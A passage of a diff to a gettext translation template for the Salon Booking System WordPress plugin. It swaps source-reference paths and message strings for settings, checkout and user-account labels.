..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:89\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:89\n+msgid \"\"\n+\"Use this console just to test your SMS services. Fill the destination number \"\n+\"without the country code, write a text message and click \\\"Update settings\\\" \"\n+\"to send an SMS.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:345, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:345, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:345, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:345, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:345\n-msgid \"e.g., 46701234567\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:356\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:394\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:356\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:394\n+msgid \"\"\n+\"Use this field to provide your customers important infos about terms and \"\n+\"conditions of their reservation.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:350, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:350, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FIp1SmsV2.php:350\n-msgid \"Must be registered in the IP1 portal. Include country code without +\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:65\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:65\n+msgid \"Use this if your column is at least 400px width\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAction\u002FSms\u002FPlivo.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FPlivo.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FPlivo.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FPlivo.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FPlivo.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FPlivo.php:23\n-msgid \"Plivo: Please check your settings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:66\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:66\n+msgid \"Use this if your column is at least 600px width\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:33\n-msgid \"Booking Review\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php:67\n+msgid \"Use this if your column is at least 900px width\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:30, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:30, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:30\n-msgid \"Customer ID\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:416\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:416\n+msgid \"\"\n+\"Use this link to move the user directly to the booking page with the service \"\n+\"already selected.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:31\n-msgid \"First Name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:67\n+msgid \"\"\n+\"Use this option only if this assistant is able to provide specific services. \"\n+\"If not leave it blank\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:32\n-msgid \"Last Name\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:71\n+msgid \"Use this option to control the form fields to checkout\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:35\n-msgid \"Total Reservations\"\n+#. phpcs:ignore WordPress.Security.EscapeOutput.UnsafePrintingFunction\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_homepage.php:16\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_homepage.php:16\n+msgid \"\"\n+\"Use this option to restore all the original settings. All your actual \"\n+\"settings will be lost. \u003Cbr \u002F>This operation can't be undone.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:36, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:36\n-msgid \"Customer Value\"\n+#. %s: the name of the discounted booking\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:72\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:79\n+#, php-format\n+msgid \"Used \u003Cstrong>%s\u003C\u002Fstrong> times\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:231, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:231, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:231\n-msgid \"Search customers\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:217\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:217\n+#, php-format\n+msgid \"User %s has been logged out.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_booking.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:10\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_booking.php:20\n+msgid \"User booking cancellation\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:125, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:125, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:125, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:125\n-msgid \"Dismiss this notice\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:122\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:122\n+msgid \"User logged out successfully.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:137, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:137, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:137\n-msgid \"IP1SMS API Migration Required\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:27\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:27\n+msgid \"User login.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135\n-msgid \"IP1SMS API Migration Required -\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:299\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:299\n+msgid \"User name\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135\n-msgid \"Days Remaining\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchAssistantStaffMember.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchAssistantStaffMember.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSearchUser.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FUpdateUser.php:13\n+msgid \"User not found\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133\n-msgid \"URGENT: IP1SMS API Migration Required - Only\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:206\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FUsers_Controller.php:206\n+msgid \"User not found.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133\n-msgid \"Days Left!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAuth_Controller.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAuth_Controller.php:32\n+msgid \"User password.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:131, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:131, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:131, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:131\n-msgid \"URGENT: IP1SMS API Has Been Deprecated - SMS Notifications Not Working!\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:218\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:218\n+msgid \"User profile\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:151, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:151, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:151, 